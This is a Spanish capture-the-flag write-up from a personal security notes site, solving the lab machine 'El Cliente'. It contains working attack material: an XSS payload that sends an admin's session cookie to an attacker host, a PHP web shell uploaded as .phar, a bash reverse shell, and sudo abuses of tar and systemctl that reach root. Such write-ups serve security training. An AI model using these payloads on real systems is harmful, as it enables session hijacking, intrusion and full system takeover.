d4redevil
  • whoami
  • Active Directory
    • Enumeración
    • PowerShell para gestionar Active Directory
    • PowerView & SharpView
    • Ataques a Kerberos
    • Ataque de contraseñas
    • SMB Relay
    • Token Impersonation
    • Golden Ticket
    • LLMNR Poisoning
    • Mimikatz
    • Grupos privilegiados
    • LAPS
  • Linux
    • Enumeración
    • Escalación de privilegios
    • Transferencia de Archivos
  • Windows
    • Enumeración
    • Escalación de privilegios
      • SeImporsonate
      • SeDebugPrivilege
      • SeTakeOwnershipPrivilege
      • Backup Operators
      • DnsAdmins
    • Transferencia de Archivos
  • Scripting
    • Powershell
      • Introducción
      • Cmdlet
      • Alias
      • Comentarios
      • Comandos utiles
      • Variables
      • Tuberías (Pipes)
      • Operaciones
      • Estructuras Condicionales
  • OWASP TOP 10 y Vulnerabilidades Web
    • Inyecciones SQL
      • ¿Qué son las Inyecciones SQL?
      • Laboratorio
      • Inyecciones SQL basada en Uniones
      • Inyecciones SQL basadas en booleanos
      • Inyecciones SQL basadas en tiempo
  • Writeups
    • Hack The Box
      • Linux
        • 🟢Easy
        • 🟡Medium
          • Zipping
        • 🔴Hard
        • ⚫Insane
      • Windows
        • 🟢Easy
          • Devel
          • Grandpa
          • Granny
          • Jerry
          • Optimum
          • Legacy
          • Active
          • Sauna
        • 🟡Medium
        • 🔴Hard
        • ⚫Insane
    • The Hackers Labs
      • Linux
        • 🟢Principiante
          • Papaya
          • Can You Hack Me?
        • 🟡Avanzado
          • Runners
          • El Candidato
          • El Cliente
        • 🔴Profesional
        • ⚫Experto
          • ⚫Thlcppt_v16
      • Windows
        • 🟢Principiante
          • Cocido Andaluz
          • Ensalá Papas
        • 🟡Avanzado
        • 🔴Profesional
          • BlackGold
        • ⚫Experto
    • Dockerlabs
      • 🔵Muy fácil
      • 🟡Fácil
      • 🟠Medio
        • Database
      • 🔴Difícil
    • VulnHub
      • Linux
        • 🟢Easy
        • 🟡Medium
        • 🔴Hard
      • Windows
        • 🟢Easy
        • 🟡Medium
        • 🔴Hard
    • HackMyVM
      • Linux
        • 🟢Easy
        • 🟡Medium
        • 🔴Hard
        • ⚫Insane
      • Windows
        • 🟢Easy
        • 🟡Medium
        • 🔴Hard
        • ⚫Insane
  • Servicios Comunes
    • TCP
    • UDP
    • FTP (21)
    • SMB (445)
    • MySQL (3306)
    • MSSQL (1433)
  • Cheatsheet
    • Reconocimiento
    • Enumeración
    • Enumeración Web
    • Enumeración de CMS
    • Fuerza Bruta
    • Pivoting
    • Msfvenom
    • Utilidades
    • Fuerza bruta
    • Transferencia de Archivos
  • Contenedores
    • Docker
Con tecnología de GitBook
En esta página
  • Reconocimiento
  • Enumeración inicial
  • Explotación inicial
  • www-data -> scott
  • scott -> kobe
  • Elevación de privilegios
  • Post Explotación
  1. Writeups
  2. The Hackers Labs
  3. Linux
  4. Avanzado

El Cliente

AnteriorEl CandidatoSiguienteProfesional

Última actualización hace 5 meses

¡Hola Hacker! Bienvenid@ a un nuevo artículo. En esta ocasión, estaremos resolviendo una nueva máquina, la cual creé para nuestra comunidad de , la máquina .

Reconocimiento

Iniciamos, como de costumbre, realizando un envío de paquetes ICMP (ping) hacia la máquina objetivo para verificar la conectividad de la red. Observamos que la máquina responde a nuestros paquetes, lo que confirma que existe comunicación activa entre nuestro sistema y el objetivo.

Además, al analizar el TTL (Time To Live) del paquete de respuesta, que es de 64, deducimos que el sistema operativo de la máquina objetivo es probablemente Linux. Este valor de TTL es característico de los sistemas Linux en su configuración predeterminada, ya que otros sistemas operativos, como Windows, suelen utilizar valores diferentes (por ejemplo, 128).

Enumeración inicial

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

❯ nmap -sS -p- --open --min-rate 5000 -Pn -n -oG open_ports -vvv 192.168.1.18
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-15 16:29 -03
Initiating ARP Ping Scan at 16:29
Scanning 192.168.1.18 [1 port]
Completed ARP Ping Scan at 16:29, 0.04s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 16:29
Scanning 192.168.1.18 [65535 ports]
Discovered open port 22/tcp on 192.168.1.18
Discovered open port 80/tcp on 192.168.1.18
Completed SYN Stealth Scan at 16:30, 26.07s elapsed (65535 total ports)
Nmap scan report for 192.168.1.18
Host is up, received arp-response (0.00070s latency).
Scanned at 2024-12-15 16:29:36 -03 for 26s
Not shown: 42758 filtered tcp ports (no-response), 22775 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 08:00:27:1F:D5:9F (Oracle VirtualBox virtual NIC)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.21 seconds
           Raw packets sent: 114535 (5.040MB) | Rcvd: 22779 (911.160KB)

Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos.

❯ nmap -sCV -p 22,80 192.168.1.18 -oN services_scan -vvv
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-15 16:31 -03
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:31
Completed NSE at 16:31, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:31
Completed NSE at 16:31, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:31
Completed NSE at 16:31, 0.00s elapsed
Initiating ARP Ping Scan at 16:31
Scanning 192.168.1.18 [1 port]
Completed ARP Ping Scan at 16:31, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:31
Completed Parallel DNS resolution of 1 host. at 16:31, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 16:31
Scanning 192.168.1.18 [2 ports]
Discovered open port 80/tcp on 192.168.1.18
Discovered open port 22/tcp on 192.168.1.18
Completed SYN Stealth Scan at 16:31, 0.02s elapsed (2 total ports)
Initiating Service scan at 16:31
Scanning 2 services on 192.168.1.18
Completed Service scan at 16:31, 6.05s elapsed (2 services on 1 host)
NSE: Script scanning 192.168.1.18.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:31
Completed NSE at 16:31, 0.22s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:31
Completed NSE at 16:31, 0.01s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:31
Completed NSE at 16:31, 0.00s elapsed
Nmap scan report for 192.168.1.18
Host is up, received arp-response (0.0015s latency).
Scanned at 2024-12-15 16:31:06 -03 for 7s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 16:91:39:66:59:eb:2f:c5:65:3c:9a:41:31:1a:f3:37 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBm45ij8KDUi+j313OzxXg3tdsWAlRfPktQEBIU5b+GML05aHz6y4D0vWyhpHWe4q94oApepJc78urT940zIy3g=
|   256 a7:87:77:81:bd:ce:b2:7b:78:a6:39:00:8b:03:91:16 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH17hNhZeTYGdOv0xNgLdZsdjn56wounp77DFfhQTM4Q
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
MAC Address: 08:00:27:1F:D5:9F (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:31
Completed NSE at 16:31, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:31
Completed NSE at 16:31, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:31
Completed NSE at 16:31, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.94 seconds
           Raw packets sent: 3 (116B) | Rcvd: 3 (116B)

Explotación inicial

Ingresamos al puerto 80 y nos encontramos con el siguiente sitio web:

Vemos que si accedemos a alguno de los enlaces del menú, intenta resolver a el dominio arka.thl.

Registramos este dominio en nuestro archivo /etc/hosts.

echo "192.168.1.18 arka.thl" >> /etc/hosts

Navegando por el sitio web, nos encontramos con una sección de contacto la cual presenta un formulario en el que podemos completar además de datos personales un mensaje.

Antes de probar si este formulario presenta vulnerabilidades, podemos realizar un poco de fuzzing de subdominios bajo el dominio principal arka.thl.

Encontramos un subdominio disponible, admin.arka.thl.

Lo agregamos al archivo /etc/hosts.

echo "192.168.1.18 admin.arka.thl" >> /etc/hosts

Al ingresar al sitio, nos encontramos con el siguiente login.

Probamos credenciales tipicas, admin:admin, admin:passsword, root:toor admin:12345678 pero nada. Intentamos con inyecciones SQL pero tampoco logramos nada.

SI recordamos, contabamos con un formulario de contacto a través del cual podemos enviar un mensaje.

El campo mensaje es vulnerable a XSS (Cross Site Scripting) y para llevar a cabo la explotación completaremos el formulario y en el campo de mensaje utilizaremos el siguiente payload:

<img src="" onerror="fetch(`http://192.168.1.20/?cookie=${document.cookie}`);" />

En este caso use este payload, pero podemos usar otros como por ejemplo:

<script>fetch(`http://192.168.1.20/?cookie=${document.cookie}`);</script>

Al cargarse la imagen anterior, se ejecutará el evento onerror ya que no se proporciono una ruta de imagen valida.

Antes de enviar el formulario, nos ponemos en escucha con netcat.

Enviamos el formulario. Si todo va bien, luego de unos segundos recibiremos una conexión a nuestra máquina atacante con la cookie de sesión del usuario admin.

Volvemos al sitio web de admin.arka.thl y asignamos el valor de la cookie.

Recargamos la web y deberíamos ganar acceso al panel de administración.

Genial, ganamos acceso al panel.

Si miramos dentro de la sección de proyectos, podemos ver que existe un formulario para cargar nuevos proyectos y uno de los campos solicitados es Documentos el cual nos permite cargar archivos. Como indica el mensaje, solo se permiten cargar archivos .pdf, .docx, .png, .jpeg, y .jpg. En este punto, deberíamos cargar el formulario y tramitar la petición por Burp Suite al Repeater, para maninpular la misma y modificar extensiones de nuestro interes o el mime type.

En este caso, otra de las extensiones que permite cargar además de las nombradas anteriormente es .phar, por lo que cargamos un archivo el cual nos permita ejecutar comandos.

shell.phar
<?php system($_GET['cmd']); ?>

Vemos que una vez creado el proyecto, se lista en la tabla junto al formulario.

Si accedemos al enlace del documento, logramos acceder a nuestro script.

Nos ponemos en escucha con netcat por el puerto elegido, en este caso el 443.

nc -nlvp 443

Nos enviamos una reverse shell.

bash -c "bash -i >& /dev/tcp/192.168.1.20/443 0>&1"

Codificamos el & como %26

bash -c "bash -i >%26 /dev/tcp/192.168.1.20/443 0>%261"

Ganamos acceso al sistema.

Hacemos el tratamiento de la tty para tener una terminal más interactiva:

  • script /dev/null -c bash

  • CTRL + Z

  • stty raw -echo; fg

  • reset xterm

  • export TERM=xterm

  • export SHELL=bash

  • stty rows <rows> columns <columns>

www-data -> scott

Si miramos el archivo de conexión a la base de datos db.php vemos la contraseña del usuario scott y en el sistema existe un usuario con ese nombre, por lo que podemos probar si existe reutilización de contraseña.

Efectivamente, la contraseña es valida.

scott -> kobe

Si realizamos una enumeración básica, vemos que podemos ejecutar el binario tar como el usuario kobe.

Nos movemos al usuario kobe de la siguiente manera:

sudo -u kobe /usr/bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

Leemos el flag de user.

Elevación de privilegios

Si realizamos nuevamente una enumeración, vemos que podemos ejecutar con sudo el binario systemctl, para lo cual abusaremos de este creando un servicio falso que asigne permisos suid a el binario /bin/bash.

echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "chmod u+s /bin/bash"
[Install]
WantedBy=multi-user.target' > evil.service
sudo systemctl link /home/kobe/evil.service
sudo systemctl enable --now /home/kobe/evil.service

De esta forma, logramos escalar privilegios.

Post Explotación

Por ultimo, leemos el flag de root.

De esta forma, llegamos al final de la máquina El Cliente.

Si te gustó este CTF, te inivito a que lo compartas.

Gracias por tu lectura!

Happy Hacking!

Referencia:

Referencia:

Si aun no eres parte de nuestra comunidad, te dejo los enlaces a la web y a el servidor de .

🟡
Tar | GTFOBins
systemctl | GTFOBins
The Hackers Labs
Discord
The Hackers Labs
El cliente